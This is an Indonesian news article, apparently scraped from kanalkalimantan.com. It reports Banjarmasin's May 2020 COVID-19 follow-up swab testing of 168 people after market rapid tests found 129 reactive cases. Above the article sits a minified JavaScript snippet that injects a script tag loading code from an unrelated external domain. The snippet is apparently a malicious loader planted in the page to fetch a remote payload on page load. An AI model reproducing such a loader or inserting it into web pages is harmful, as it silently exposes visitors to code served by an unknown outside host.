(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Usai dikejutkan temuan ratusan orang reaktif dari hasil rapid test beberapa waktu lalu, Dinas Kesehatan Kota Banjarmasin langsung melakukan pemeriksaan lanjutan berupa swab test hari ini, Minggu (17/5/2020) pagi.
Juru Bicara Tim Gugus Tugas Percepatan Penanganan (GTPP) Covid-19 Kota Banjarmasin Dr. Machli Riyadi mengatakan, jumlah warga yang menjalani swab test kali ini sebanyak 168 orang dari enam pasar di Banjarmasin.
“Warga yang menjalani swab test hari ini berdasarkan hasil rapid test yang dilakukan di enam pasar kemarin,” ucapnya pada awak media.
Ia menjelaskan, warga yang menjalani swab hari ini bukan hanya berasal dari rapid test masal kemarin. Namun termasuk pengunjung serta pedagang Pasar Sentral Antasari dan hasil tracking yang dilakukan oleh masing-masing Puskesmas.
“Pemeriksaan ini akan mengambil sample lendir dari tenggorokan orang reaktif untuk dibawa ke laboratorium di Banjarbaru,” ujarnya.
Menurutnya, hasil swab akan keluar dalam 3 sampai 4 hari ke depan. Sehingga makin cepat dilakukan pemeriksaan swab, maka semakin cepat pula pihaknya bisa mendetekasi orang yang terkonfirmasi positif Covid-19. Namun pihaknya tetap mendahulukan pasien reaktif yang sudah meninggal dunia. Jika nanti hasil pemeriksaan swabnya ada yang positif, maka yang bersangkutan akan dilakukan karantina khusus di rumah sakit rujukan penanganan Covid-19.
Mantan Wadir Administrasi dan Keuangan RSJ Sambang Lihum itu berharap upaya yang dilakukan oleh pihaknya tersebut merupakan bagian daru memutus mata rantai penularan Covid-19. “Kita tetap mengedukasi kepada masyarakat betapa pentingnya sebuah karantina kalau tidak cukup karantina di jalan perdagangan akan kita kirim ke Ambulung di Banjarbaru,” pungkasnya.
Sebelumnya, dari sekitar 1.500 rapid test yang disediakan, sedikitnya 1.361 orang menjalani pemeriksaan rapid test. Hasilnya, ditemukan sedikitnya 129 orang dinyatakan reaktif. “Total reaktif sebanyak 129 orang, dan yang non reaktif sebanyak 1.232 orang,” beber Machli kepada awak media di Balaikota Banjarmasin, Sabtu (16/5/2020) sore.
Jika dipersentasikan, jumlah reaktif hasil rapid test sebesar 9,47 persen. Kendati demikian, temuan sebanyak 129 orang reaktif ini tidak bisa dikatakan positif Covid-19. “Karena harus dilakukan pemeriksaan lanjutan untuk menetapkan diagnosa Covid-19 ini. Yaitu dengan dilanjutkan pemeriksaan swab,” sebut mantan Wadir Administrasi dan Keuangan RSJ Sambang Lihum ini. (kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More
KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Ketua I DPRD Kabupaten Kapuas Yohanes sangat mengapresiasi kegiatan pawai… Read More
This website uses cookies.